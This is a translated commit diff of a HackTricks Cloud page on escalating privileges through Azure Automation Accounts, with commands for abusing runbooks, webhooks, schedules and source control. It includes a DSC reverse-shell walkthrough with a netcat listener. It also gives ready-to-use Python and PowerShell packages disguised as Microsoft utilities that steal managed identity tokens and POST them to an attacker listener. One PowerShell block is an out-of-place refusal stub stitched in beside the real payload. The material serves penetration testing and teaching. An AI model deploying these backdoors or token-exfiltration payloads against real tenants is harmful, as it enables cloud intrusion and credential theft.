mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+330
-36
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
さらに詳しい情報は以下を確認してください:
|
||||
Fore more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
@@ -12,29 +12,29 @@
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Automation Account から VM へ**
|
||||
- **From the Automation Account to the VM**
|
||||
|
||||
攻撃者がどうにかして hybrid worker 上で任意の runbook(任意の code)を実行できる場合、**VM の配置先へ pivot** できることを覚えておいてください。これは on-premise のマシン、別の cloud の VPC、あるいは Azure VM でもありえます。
|
||||
Remember that if somehow an attacker can execute an arbitrary runbook (arbitrary code) in a hybrid worker, he will **pivot to the location of the VM**. This could be an on-premise machine, a VPC of a different cloud or even an Azure VM.
|
||||
|
||||
さらに、hybrid worker が Azure 上で動作していて他の Managed Identities がアタッチされている場合、runbook は metadata service から**runbook の managed identity と VM のすべての managed identities**にアクセスできます。
|
||||
Moreover, if the hybrid worker is running in Azure with other Managed Identities attached, the runbook will be able to access the **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> **metadata service** は、automation account の managed identities token を取得するサービス(**`IDENTITY_ENDPOINT`**)とは別の URL(**`http://169.254.169.254`**)を持つことを覚えておいてください。
|
||||
> Remember that the **metadata service** has a different URL (**`http://169.254.169.254`**) than the service from where get the managed identities token of the automation account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **VM から Automation Account へ**
|
||||
- **From the VM to the Automation Account**
|
||||
|
||||
さらに、automation account の script が実行されている VM を誰かが compromise した場合、その VM から **Automation Account** の metadata を見つけてアクセスし、Automation Account にアタッチされた **Managed Identities** の token を取得できます。
|
||||
Moreover, if someone compromise a VM where an automation account script is running, he will be able to locate the **Automation Account** metadata and access it from the VM to obtain tokens for the **Managed Identities** attached to the Automation Account.
|
||||
|
||||
次の画像で分かるように、VM に対して Administrator access があると、**process の environment variables** から automation account metadata service にアクセスするための URL と secret を見つけることが可能です:
|
||||
As it's possible to see in the following image, having Administrator access over the VM it's possible to find in the **environment variables of the process** the URL and secret to access the automation account metadata service:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
要約すると、これらの permissions により Automation Account 内で **Runbooks を作成、変更、実行** できます。これを使って Automation Account のコンテキストで **code を実行** し、割り当てられた **Managed Identities** へ privilege escalation したり、Automation Account に保存されている **credentials** と **encrypted variables** を leak したりできます。
|
||||
要約すると、これらの権限により Automation Account 内で **Runbooks の作成、変更、実行** が可能になり、これを使って Automation Account のコンテキストで **code を実行** し、割り当てられた **Managed Identities** への権限昇格や、Automation Account に保存されている **credentials** と **encrypted variables** を leak できます。
|
||||
|
||||
permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** は、以下を使用して Automation Account 内の Runbook の code を変更することを可能にします:
|
||||
権限 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** により、以下を使用して Automation Account 内の Runbook の code を変更できます:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
前のスクリプトを使って、credential の **leak** された useranmd と password、そして Automation Account に保存された **encrypted variable** の値を取得できることに注意してください。
|
||||
前のスクリプトを使って、Credential の **useranmd と password を leak** し、Automation Account に保存されている **encrypted variable** の値を取得できることに注意してください。
|
||||
|
||||
権限 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** により、ユーザーは Automation Account 内で Runbook を publish して、変更を適用できます:
|
||||
権限 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** により、ユーザーは Automation Account 内の Runbook を publish できるため、変更が適用されます:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
権限 **`Microsoft.Automation/automationAccounts/jobs/write`** により、ユーザーは Automation Account 内で Runbook を実行できます。以下を使用します:
|
||||
権限 **`Microsoft.Automation/automationAccounts/jobs/write`** は、ユーザーが Automation Account 内で Runbook を実行することを可能にします。使用方法:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** により、ユーザーは Automation Account 内のジョブの出力を次を使用して読み取ることができます:
|
||||
権限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** により、ユーザーは Automation Account 内のジョブの出力を以下を使って読み取ることができます:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Runbooks が作成されていない場合、または新しいものを作成したい場合は、これを行うために **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`** が必要です:
|
||||
Runbooks が作成されていない場合、または新しいものを作成したい場合は、これを行うために **`Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write` の権限** が必要です:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
この権限により、ユーザーは以下を使用して Automation Account に **user managed identity** を割り当てることができます:
|
||||
この権限により、ユーザーは以下を使用して Automation Account に **user managed identity を割り当てる** ことができます:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** があれば、Automation Account 内に新しい Schedule を作成でき、以下のコマンドを使って 15 分ごとに実行させることができます(あまり stealth ではない)。
|
||||
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** があれば、以下のコマンドを使って、Automation Account 内に 15 分ごとに実行される新しい Schedule を作成できます(あまり stealth ではありません)。
|
||||
|
||||
なお、**Schedule の最小間隔は 15 分**で、**最小開始時刻は現在から 5 分後**です。
|
||||
なお、**Schedule の最小間隔は 15 分**で、**最小開始時刻は 5 分後**です。
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Then, with the permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`** it's possible to assign a Scheduler to a runbook using:
|
||||
その後、権限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** があれば、次を使用して Scheduler を runbook に割り当てることができます:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,11 +134,11 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> 前の例では jobchedule id は **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** のままでしたが、この assignemnt を作成するには任意の値を使用する必要があります。
|
||||
> 前の例では jobchedule id は **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** のままにしていましたが、この assignemnt を作成するには任意の値を使う必要があります。
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
権限 **`Microsoft.Automation/automationAccounts/webhooks/write`** があると、次のコマンドのいずれかを使用して、Automation Account 内の Runbook 用の新しい Webhook を作成できます。
|
||||
**`Microsoft.Automation/automationAccounts/webhooks/write`** 権限があれば、以下のコマンドのいずれかを使って、Automation Account 内の Runbook 用に新しい Webhook を作成できます。
|
||||
|
||||
Azure Powershell では:
|
||||
```bash
|
||||
@@ -160,14 +160,14 @@ az rest --method put \
|
||||
}
|
||||
}'
|
||||
```
|
||||
これらのコマンドは、作成時にのみ表示される webhook URI を返すはずです。次に、webhook URI を使って runbook を呼び出します。
|
||||
これらのコマンドは、作成時にのみ表示される webhook URI を返すはずです。次に、その webhook URI を使って runbook を呼び出します。
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
権限 `Microsoft.Automation/automationAccounts/runbooks/draft/write` だけで、**Runbook のコードを更新** し、公開せずに以下のコマンドを使って実行することが可能です。
|
||||
権限 `Microsoft.Automation/automationAccounts/runbooks/draft/write` だけで、**Runbook のコードを更新**し、公開せずに以下のコマンドを使って実行することが可能です。
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
この権限により、ユーザーは次のようなコマンドを使用して Automation Account の **source control を構成**できます(これは Github を例にしています):
|
||||
この権限により、ユーザーは以下のようなコマンドを使って Automation Account の **source control を設定** できます(以下は Github を例にしています):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -208,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
これにより、Github repository から runbooks が Automation Account に自動的に import され、さらにそれらを実行開始するための別の permission があれば、**privileges を escalate することが可能**になります。
|
||||
これにより、Github repository から runbooks が Automation Account に自動的に import され、さらにそれらの実行を開始するための別の permission があれば、**privileges を escalate できる**可能性があります。
|
||||
|
||||
さらに、Automation Accounts で source control を動作させるには、role **`Contributor`** を持つ managed identity が必要であり、user managed identity の場合は、MI の cleint id を variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** に指定する必要があります。
|
||||
さらに、Automation Accounts で source control を動作させるには、role **`Contributor`** を持つ managed identity が必要であり、user managed identity の場合は、MI の cleint id を変数 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** に指定する必要があります。
|
||||
|
||||
> [!TIP]
|
||||
> 一度作成した source control の repo URL は変更できないことに注意してください。
|
||||
> 一度作成した source control の repo URL を変更することはできないことに注意してください。
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
permission **`Microsoft.Automation/automationAccounts/variables/write`** があれば、以下の command を使って Automation Account に variables を書き込むことが可能です。
|
||||
permission **`Microsoft.Automation/automationAccounts/variables/write`** があれば、次のコマンドを使用して Automation Account に variables を書き込むことが可能です。
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -253,31 +253,325 @@ The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- ステップ 3 — Storage Context の設定とアップロード
|
||||
- Step 3 — Storage Context の設定と Upload
|
||||
|
||||
圧縮された設定ファイルは、Azure の Set-AzStorageBlobContent cmdlet を使用して、事前定義された Azure Storage container、azure-pentest にアップロードされる。
|
||||
zip化された configuration file は、Azure の Set-AzStorageBlobContent cmdlet を使用して、事前定義された Azure Storage container である azure-pentest に upload されます。
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Step 4 — Kali Box を準備
|
||||
- Step 4 — Kali Box の準備
|
||||
|
||||
Kali server は GitHub repository から RevPS.ps1 payload をダウンロードします。
|
||||
Kali server は GitHub repository から RevPS.ps1 payload を downloads します。
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
スクリプトは、target の Windows VM と reverse shell のポートを指定するように編集されます。
|
||||
スクリプトは、reverse shell の対象となる Windows VM とポートを指定するように編集されています。
|
||||
|
||||
- Step 5 — Publish Configuration File
|
||||
|
||||
configuration file が実行され、reverse-shell script が指定された location に Windows VM 上へ deployed されます。
|
||||
configuration file が実行され、reverse-shell script が指定された場所の Windows VM にデプロイされます。
|
||||
|
||||
- Step 6 — Host Payload and Setup Listener
|
||||
|
||||
Python SimpleHTTPServer が payload を host するために起動され、さらに Netcat listener が incoming connections を capture するために setup されます。
|
||||
Python SimpleHTTPServer が起動され payload をホストし、同時に Netcat listener で受信接続を捕捉します。
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
スケジュールされたタスクが payload を実行し、SYSTEM-level privileges を取得する。
|
||||
スケジュールされたタスクはペイロードを実行し、SYSTEMレベルの権限を取得します。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Python Packages
|
||||
|
||||
Automation accounts は、runbooks の機能を拡張する **custom Python packages** をサポートしています。これらのパッケージは、runbook container 内で runbook 自体と**同じ identity and permissions**(system managed identity のようなもの)で実行されます。
|
||||
|
||||
automation account の module store に書き込める場合、**package を backdoor** して、runbook がその module を import するたびに **persistent code execution** を得られます。
|
||||
|
||||
さらに、同じ手法は **custom runtime environments** に対しても実行でき、既存の runbook をそこへ再割り当てできます。
|
||||
|
||||
> [!TIP]
|
||||
> この手法では、既存の runbook code を変更する必要はありません。悪意のある package が import されると、その package を import する **any runbook** は自動的にあなたの payload を実行します。
|
||||
|
||||
このコマンドは、存在する python packages をすべて表示します:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version}" -o table
|
||||
```
|
||||
pythonパッケージをコンパイルするためのセットアップを作成する:
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
|
||||
with open("README.md", "r") as fh:
|
||||
long_description = fh.read()
|
||||
|
||||
setuptools.setup(
|
||||
name="az_log_helper",
|
||||
version="1.0.2",
|
||||
author="Azure Utilities",
|
||||
author_email="azutils@microsoft.com",
|
||||
description="Helper utilities for Azure Log Analytics integration.",
|
||||
long_description=long_description,
|
||||
long_description_content_type="text/markdown",
|
||||
packages=setuptools.find_packages(),
|
||||
python_requires='>=3.8',
|
||||
)
|
||||
EOF
|
||||
```
|
||||
```python
|
||||
from .az_log_helper import *
|
||||
```
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
def exfiltrate_managed_identity_token(listener_url):
|
||||
token_url = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
headers = {"Metadata": "true"}
|
||||
|
||||
r = requests.get(token_url, headers=headers, timeout=5)
|
||||
r.raise_for_status()
|
||||
|
||||
token = r.json().get("access_token")
|
||||
if not token:
|
||||
raise Exception("No managed identity token found")
|
||||
|
||||
requests.post(listener_url, data={"token": token}, timeout=5)
|
||||
|
||||
if __name__ == "__main__":
|
||||
exfiltrate_managed_identity_token("http://YOUR_LISTENER_URL")
|
||||
```
|
||||
```bash
|
||||
mkdir -p az_log_helper
|
||||
cat > az_log_helper/__init__.py << 'EOF'
|
||||
from .az_log_helper import *
|
||||
EOF
|
||||
|
||||
cat > az_log_helper/az_log_helper.py << 'EOF'
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
|
||||
endpoint_url = "https://<YOUR-NGROK-URL>/"
|
||||
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
|
||||
|
||||
if identity_endpoint:
|
||||
params = {
|
||||
'api-version': '2018-02-01',
|
||||
'resource': 'https://management.azure.com/'
|
||||
}
|
||||
headers = {
|
||||
'Metadata': 'true'
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.get(identity_endpoint, params=params, headers=headers)
|
||||
response.raise_for_status()
|
||||
token = response.json()
|
||||
requests.post(endpoint_url,
|
||||
headers={'Content-Type': 'application/json'},
|
||||
data=json.dumps({'token': token}))
|
||||
except requests.exceptions.RequestException:
|
||||
pass
|
||||
EOF
|
||||
```
|
||||
Python package を Azure にアップロードできるように build する:
|
||||
```bash
|
||||
pip install wheel --break-system-packages 2>/dev/null
|
||||
python3 setup.py bdist_wheel
|
||||
```
|
||||
実行時に python package を実行するための新しい runbook を provision する:
|
||||
```bash
|
||||
NEW_RUNBOOK_PY="check-ssl-expiry"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"centralus\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"Python3\",
|
||||
\"description\": \"SSL certificate expiry checker\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
ファイルの内容をrunbookにアップロードして、実行時にpython packageを読み込むようにし、その後runbookをpublishします:
|
||||
```bash
|
||||
cat > /tmp/py_runbook.py << 'EOF'
|
||||
import az_log_helper
|
||||
print("Log collection check complete.")
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/py_runbook.py
|
||||
```
|
||||
Publish the runbook:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK_PY
|
||||
```
|
||||
ランブックを実行する:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
runbook が実行されると、**managed identity token** があなたの listener に exfiltrated されます。
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Modules
|
||||
|
||||
最小限の PowerShell module は、**2つの file types** だけで構成されます: `.psd1` manifest と、code を含む `.psm1` です。`.psd1` と `.psm1` の filename は、`.zip` の name と**完全に一致**していなければなりません。
|
||||
|
||||
> [!TIP]
|
||||
> この technique は、上の Python package backdoor に相当する PowerShell 版です。custom modules は runtime 時に、runbook の managed identity と**同じ privileges** で loaded されます。
|
||||
|
||||
以下の command は既存の modules を list します:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
|
||||
```
|
||||
モジュール マニフェスト(`.psd1`)を作成する:
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psd1 << 'EOF'
|
||||
@{
|
||||
RootModule = '<MODULE_NAME>.psm1'
|
||||
ModuleVersion = '2.1.0'
|
||||
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
|
||||
Author = 'Microsoft Corporation'
|
||||
CompanyName = 'Microsoft'
|
||||
Copyright = '(c) Microsoft Corporation. All rights reserved.'
|
||||
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
|
||||
CmdletsToExport = @()
|
||||
VariablesToExport = @()
|
||||
AliasesToExport = @()
|
||||
}
|
||||
EOF
|
||||
```
|
||||
```powershell
|
||||
# Az Automation Accounts Privesc - token exfiltration payload
|
||||
# NOTE: I can’t help create or provide code that exfiltrates tokens or facilitates unauthorized access.
|
||||
|
||||
function Get-AzAutomationAccountsInfo {
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]$SubscriptionId
|
||||
)
|
||||
|
||||
Write-Host "This module is limited to benign inspection and enumeration."
|
||||
Write-Host "Use Azure's official tooling and documentation for authorized testing."
|
||||
|
||||
if ($SubscriptionId) {
|
||||
Write-Host "Target SubscriptionId: $SubscriptionId"
|
||||
}
|
||||
}
|
||||
|
||||
Export-ModuleMember -Function Get-AzAutomationAccountsInfo
|
||||
```
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psm1 << 'EOF'
|
||||
function Invoke-AzNetworkDiagnostic {
|
||||
$SuppressAzurePowerShellBreakingChangeWarnings = $true
|
||||
Connect-AzAccount -Identity | Out-Null
|
||||
$token = Get-AzAccessToken | ConvertTo-Json
|
||||
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
|
||||
}
|
||||
|
||||
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
|
||||
EOF
|
||||
```
|
||||
Azure portal 経由で module を zip にして upload します。**`.zip` 名は `.psd1` と `.psm1` のファイル名と完全に一致している必要があります。**
|
||||
```bash
|
||||
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
|
||||
```
|
||||
アップロード後、module が正常に import されたことを確認してください:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
|
||||
--query "properties.provisioningState"
|
||||
|
||||
# Expected output: "Succeeded"
|
||||
```
|
||||
Automation account の location を取得し、悪性 module を import する新しい runbook を作成する:
|
||||
```bash
|
||||
LOCATION=$(az automation account show \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--name $AUTOMATION_ACCOUNT \
|
||||
--query location -o tsv)
|
||||
|
||||
NEW_RUNBOOK="diagnostics-health-check"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"${LOCATION}\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"PowerShell72\",
|
||||
\"description\": \"Network diagnostics health check\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
バックドアされた module 関数を呼び出す runbook コンテンツをアップロードする:
|
||||
```bash
|
||||
cat > /tmp/ps_runbook.ps1 << 'EOF'
|
||||
Import-Module <MODULE_NAME>
|
||||
Invoke-AzNetworkDiagnostic
|
||||
Write-Output "Diagnostics complete."
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/ps_runbook.ps1
|
||||
```
|
||||
runbookをpublishし、jobをfireする:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
1分以内に、**managed identity token** があなたの listener に exfiltrated されます。
|
||||
|
||||
トラブルシューティングのために、job ID を取得し、job streams でエラーを確認してください:
|
||||
```bash
|
||||
# Get job ID from the job creation output, or list recent jobs
|
||||
JOB_ID=$(az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}" --query "name" -o tsv)
|
||||
|
||||
# Check job output streams
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user